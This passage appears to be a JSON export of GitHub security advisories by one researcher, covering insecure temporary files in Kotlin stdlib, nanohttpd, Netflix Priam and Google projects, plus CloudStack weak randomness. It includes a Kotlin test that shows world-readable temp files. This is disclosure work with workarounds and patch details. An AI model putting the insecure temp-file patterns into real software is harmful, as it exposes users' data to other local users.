"gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-vpcc-9rh2-8jfp", "type": "GHSA" }, { "value": "CVE-2022-26779", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T23:10:24Z", "updated_at": "2022-03-14T14:46:40Z", "published_at": "2022-03-10T17:04:18Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "none", "name": "apache/cloudstack" }, "vulnerable_version_range": "<= 4.16.0.0", "patched_versions": "4.16.1.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:L", "score": 6.7 }, "cwes": [ { "cwe_id": "CWE-330", "name": "Use of Insufficiently Random Values" }, { "cwe_id": "CWE-337", "name": "Predictable Seed in Pseudo-Random Number Generator (PRNG)" } ], "cwe_ids": [ "CWE-330", "CWE-337" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7fjx-657r-9r5h", "cve_id": "CVE-2021-22571", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7fjx-657r-9r5h", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7fjx-657r-9r5h", "summary": "Insecure Temporary File in google / sa360-webquery-bigquery", "description": "### CVE Status\r\n\r\nCVE is pending via the CVE Appeals process with MITRE\r\n\r\n### Impact\r\n\r\n`TransferRunner` may disclose information to other users from WebQuery CSV report.\r\n\r\n### Patches\r\n\r\nVersion `v1.0.3` and higher is patched.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Workarounds\r\n\r\nIf you are unable to update: setting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n\r\n### References\r\n\r\n - https://github.com/google/sa360-webquery-bigquery/issues/14\r\n\r\nFix:\r\n - https://github.com/google/sa360-webquery-bigquery/commit/4926b5bf0e4be88f7a09badd145c50fa8a95e1cc#diff-4169b705389b36efbde7d57ec27a1ad2aa21c4385d2e535ee8354f79f03ae756L56\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-7fjx-657r-9r5h", "type": "GHSA" }, { "value": "CVE-2021-22571", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T21:54:20Z", "updated_at": "2022-03-30T13:03:08Z", "published_at": "2022-03-09T16:50:35Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "application", "name": "google / sa360-webquery-bigquery" }, "vulnerable_version_range": "<= v1.0.2", "patched_versions": "v1.0.3", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-22c6-wcjm-qfjg", "cve_id": "CVE-2021-22572", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-22c6-wcjm-qfjg", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-22c6-wcjm-qfjg", "summary": "Insecure Temporary File in google / data-transfer-project", "description": "### Impact\r\n\r\nInformation downloaded with the `google/data-transfer-project` may expose downloaded information to other local users.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nUpdates to version 0.3.57 or higher.\r\n\r\n### Additional Information\r\n - https://github.com/google/data-transfer-project/issues/968\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems.\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-22c6-wcjm-qfjg", "type": "GHSA" }, { "value": "CVE-2021-22572", "type": "CVE" } ], "state": "published", "created_at": "2022-02-04T21:43:29Z", "updated_at": "2022-03-30T13:02:44Z", "published_at": "2022-03-09T16:39:35Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "none", "name": "google / data-transfer-project" }, "vulnerable_version_range": "< 0.3.57", "patched_versions": "0.3.57", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "score": 5.0 }, "cwes": [ { "cwe_id": "CWE-377", "name": "Insecure Temporary File" } ], "cwe_ids": [ "CWE-377" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-5w9v-8x7x-rfqm", "cve_id": "CVE-2020-29582", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-5w9v-8x7x-rfqm", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-5w9v-8x7x-rfqm", "summary": "CWE-378/CWE-379: Kotlin StdLib - Creation of Temporary File/Directory With Insecure Permissions", "description": "### Impact\r\nKotlin Stdlib is vulnerable to CWE-378 - Insecure Temporary File & \tCWE-379 - Creation of Temporary File in Directory with Insecure Permissions.\r\n\r\nThese are the two vulnerable locations:\r\n\r\n- https://github.com/JetBrains/kotlin/blob/9b157fd291d581a30a3194940b0ebbb95a2fd247/libraries/stdlib/jvm/src/kotlin/io/files/Utils.kt#L14-L39\r\n - https://github.com/JetBrains/kotlin/blob/9b157fd291d581a30a3194940b0ebbb95a2fd247/libraries/stdlib/jvm/src/kotlin/io/files/Utils.kt#L41-L60\r\n\r\nHere is a simple unit test that demonstrates the vulnerability.\r\n\r\n```kotlin\r\npackage org.jlleitschuh.sandbox\r\n\r\nimport org.junit.jupiter.api.Test\r\nimport java.io.BufferedReader\r\nimport java.io.File\r\nimport java.io.IOException\r\nimport java.io.InputStreamReader\r\nimport java.nio.file.Files\r\n\r\nclass KotlinTempDirectoryPermissionCheck {\r\n @Test\r\n fun `kotlin check default directory permissions`() {\r\n val dir = createTempDir()\r\n runLS(dir.parentFile, dir) // Prints drwxr-xr-x\r\n }\r\n\r\n @Test\r\n fun `Files check default directory permissions`() {\r\n val dir = Files.createTempDirectory(\"random-directory\")\r\n runLS(dir.toFile().parentFile, dir.toFile()) // Prints drwx------\r\n }\r\n\r\n @Test\r\n fun `kotlin check default file permissions`() {\r\n val file = createTempFile()\r\n runLS(file.parentFile, file) // Prints -rw-r--r--\r\n }\r\n\r\n @Test\r\n fun `Files check default file permissions`() {\r\n val file = Files.createTempFile(\"random-file\", \".txt\")\r\n runLS(file.toFile().parentFile, file.toFile()) // Prints -rw-------\r\n }\r\n\r\n private fun runLS(file: File, lookingFor: File) {\r\n val processBuilder = ProcessBuilder()\r\n processBuilder.command(\"ls\", \"-l\", file.absolutePath)\r\n try {\r\n val process = processBuilder.start()\r\n val output = StringBuilder()\r\n val reader = BufferedReader(\r\n InputStreamReader(process.inputStream)\r\n )\r\n reader.lines().forEach { line ->\r\n if (line.contains(\"total\")) {\r\n output.append(line).append('\\n')\r\n }\r\n if (line.contains(lookingFor.name)) {\r\n output.append(line).append('\\n')\r\n }\r\n }\r\n val exitVal = process.waitFor()\r\n if (exitVal == 0) {\r\n println(\"Success!\")\r\n println(output)\r\n } else {\r\n //abnormal...\r\n }\r\n } catch (e: IOException) {\r\n e.printStackTrace()\r\n } catch (e: InterruptedException) {\r\n e.printStackTrace()\r\n }\r\n }\r\n}\r\n```\r\n\r\nA Kotlin application using createTempDir or createTempFile and placing sensitive information within either of these locations would be leaking this information in a read-only way to other users also on this system.\r\n\r\n### Prerequisites\r\n\r\nThis vulnerability impacts Unix-like systems, and very old versions of Mac OSX and Windows as they all share the system temporary directory between all users.\r\n\r\n### Patches\r\n\r\nThere are no patched versions with this vulnerability fixed. All versions remain vulnerable. However, the impacted methods have been deprecated.\r\n\r\nTo fully mitigate this vulnerability, ensure your code and all dependencies don't use the `createTempFile` or `createTempFile` methods offered by the Kotlin standard library.\r\n\r\n### Workarounds\r\n\r\nSetting the `java.io.tmpdir` system environment variable to a directory that is exclusively owned by the executing user will fix this vulnerability for all operating systems and all Kotlin versions.\r\n\r\nDepending upon the version of android you are using, this may also impact you. See the following resource: https://github.com/google/guava/issues/4011#issuecomment-772892561\r\n\r\n### References\r\n\r\nJetBrains does a really terrible job with fully disclosing the details of their own vulnerabilities unfortunately.\r\n\r\n - https://blog.jetbrains.com/blog/2021/02/03/jetbrains-security-bulletin-q4-2020/\r\n \r\n### For more information\r\n\r\nReach out to Jetbrains: security@jetbrains.com\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-5w9v-8x7x-rfqm", "type": "GHSA" }, { "value": "CVE-2020-29582", "type": "CVE" } ], "state": "published", "created_at": "2022-02-03T19:40:43Z", "updated_at": "2022-02-03T20:42:27Z", "published_at": "2022-02-03T19:51:08Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": " org.jetbrains.kotlin:kotlin-stdlib" }, "vulnerable_version_range": "> 0", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-378", "name": "Creation of Temporary File With Insecure Permissions" }, { "cwe_id": "CWE-379", "name": "Creation of Temporary File in Directory with Insecure Permissions" } ], "cwe_ids": [ "CWE-378", "CWE-379" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-2r85-x9cf-8fcg", "cve_id": "CVE-2022-21230", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-2r85-x9cf-8fcg", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-2r85-x9cf-8fcg", "summary": "Creation of Temporary File With Insecure Permissions in org.nanohttpd:nanohttpd", "description": "### Patches\r\n\r\nNo patches are available. The maintainers have been unresponsive. It may be appropriate to consider this project unmaintained at this point.\r\n\r\n### Impact\r\n\r\nThe `org.nanohttpd.protocols.http.tempfiles.DefaultTempFileManager` & `org.nanohttpd.protocols.http.tempfiles.DefaultTempFile` contain a local temporary file information disclosure vulnerability. On Unix like systems, the system's temporary directory is shared between all users on that system. As such, files written to that directory without setting the correct file permissions can allow other users on that system to view the contents of the files written to those temporary files.\r\n\r\n#### Vulnerability Locations\r\n\r\n - https://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/tempfiles/DefaultTempFile.java#L58\r\n - https://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/tempfiles/DefaultTempFileManager.java#L60\r\n\r\nWhenever an HTTP Session is parsing the body of an HTTP request, the body of the request is written to a RandomAccessFile when the body is larger than 1024 bytes. Unfortunately, RandomAccessFile is created using a temporary file which is created with file permissions that allow it's contents to be viewed by all users on the host machine.\r\n\r\nhttps://github.com/NanoHttpd/nanohttpd/blob/efb2ebf85a2b06f7c508aba9eaad5377e3a01e81/core/src/main/java/org/nanohttpd/protocols/http/HTTPSession.java#L611-L617\r\n\r\n### Workarounds\r\n\r\nManually specifying the `-Djava.io.tmpdir=` argument when launching Java to set set the temporary directory to a directory exclusively controlled by the current user can fix this issue.\r\n\r\n### References\r\n - https://security.snyk.io/vuln/SNYK-JAVA-ORGNANOHTTPD-2422798\r\n", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-2r85-x9cf-8fcg", "type": "GHSA" }, { "value": "CVE-2022-21230", "type": "CVE" } ], "state": "published", "created_at": "2022-01-28T02:33:00Z", "updated_at": "2022-04-06T18:38:01Z", "published_at": "2022-04-06T18:38:01Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "org.nanohttpd:nanohttpd" }, "vulnerable_version_range": "<=2.3.1", "patched_versions": "None", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 5.5 }, "cwes": [ { "cwe_id": "CWE-378", "name": "Creation of Temporary File With Insecure Permissions" } ], "cwe_ids": [ "CWE-378" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-6m9h-r5m3-9r7f", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-6m9h-r5m3-9r7f", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-6m9h-r5m3-9r7f", "summary": "REDACTED", "description": "REDACTED", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": null, "identifiers": [ { "value": "GHSA-6m9h-r5m3-9r7f", "type": "GHSA" } ], "state": "closed", "created_at": "2022-01-20T23:27:50Z", "updated_at": "2023-02-27T19:48:30Z", "published_at": null, "closed_at": "2023-02-27T19:48:30Z", "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": " ", "name": "REDACTED" }, "vulnerable_version_range": "3.16", "patched_versions": "", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "score": 6.5 }, "cwes": [ { "cwe_id": "CWE-22", "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')" } ], "cwe_ids": [ "CWE-22" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-f4jh-ww96-9h9j", "cve_id": "CVE-2021-28100", "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-f4jh-ww96-9h9j", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-f4jh-ww96-9h9j", "summary": "Netflix/Priam: Temporary Directory Information Disclosure", "description": "### Impact\r\n\r\nWhen `File.createTempFile` creates a file, the permissions on that file are -rw-r--r--. This means that other users can read the contents of these files after they are written, although they can not modify the contents. This allows for local information disclosure if these files contain sensitive information.\r\n\r\nVulnerable locations:\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/backup/MetaData.java#L106-L111\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/identity/DoubleRing.java#L109-L118\r\n - https://github.com/Netflix/Priam/blob/362660bb7ebddb0cfa756a282d94678f65af9f06/priam/src/main/java/com/netflix/priam/restore/PostRestoreHook.java#L80-L86\r\n\r\n---\r\n\r\nThe custom CodeQL queries leveraged to find these this as well as their results can be found here:\r\n\r\nhttps://lgtm.com/query/1543383251073929777/\r\nhttps://lgtm.com/query/3142895023158674709/\r\n\r\n## Official Disclosure\r\n\r\nhttps://github.com/Netflix/security-bulletins/blob/master/advisories/nflx-2021-002.md\r\n\r\n## Fix\r\n\r\nThere are no fixed versions.", "severity": "medium", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": 